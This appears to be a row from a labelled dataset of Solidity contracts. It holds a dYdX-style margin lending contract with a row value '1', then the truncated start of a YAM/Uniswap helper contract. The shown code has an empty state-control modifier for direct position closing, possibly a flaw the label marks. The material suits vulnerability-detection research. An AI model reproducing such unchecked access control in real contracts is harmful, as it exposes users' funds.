lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract PayableMarginMinter is ReentrancyGuard {
using TokenInteract for address;
address public DYDX_MARGIN;
address public WETH;
constructor(
address margin,
address weth
)
public
{
DYDX_MARGIN = margin;
WETH = weth;
address tokenProxy = Margin(DYDX_MARGIN).getTokenProxyAddress();
WETH.approve(tokenProxy, MathHelpers.maxUint256());
}
function ()
external
payable
{
require(
msg.sender == WETH,
"PayableMarginMinter#fallback: Cannot recieve ETH directly unless unwrapping WETH"
);
}
function mintMarginTokens(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
payable
nonReentrant
returns (uint256)
{
WETH9(WETH).deposit.value(msg.value)();
Margin(DYDX_MARGIN).increasePosition(
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
address marginTokenContract = Margin(DYDX_MARGIN).getPositionOwner(positionId);
uint256 numTokens = marginTokenContract.balanceOf(address(this));
marginTokenContract.transfer(msg.sender, numTokens);
uint256 leftoverEth = WETH.balanceOf(address(this));
if (leftoverEth > 0) {
WETH9(WETH).withdraw(leftoverEth);
msg.sender.transfer(leftoverEth);
}
return numTokens;
}
} | 1 | 5,180 |
pragma solidity ^0.5.15;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface UniswapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UniHelper{
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
UniswapPair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token0,
address token1_source
) internal {
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair
.getReserves();
uint256 quoted = quote(reserve1, reserve0);
uint256 amount_token1 = quoted.mul(amount_token0).div(ONE);
token0.transfer(address(uniswap_pair), amount_token0);
token1.transferFrom(token1_source, address(uniswap_pair), amount_token1);
UniswapPair(uniswap_pair).mint(address(this));
}
function _burnLPToken(UniswapPair uniswap_pair, address destination) internal {
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
UniswapPair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
}
contract YamGoverned {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract YamSubGoverned is YamGoverned {
event SubGovModified(
address account,
bool isSubGov
);
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair,
bool isToken0
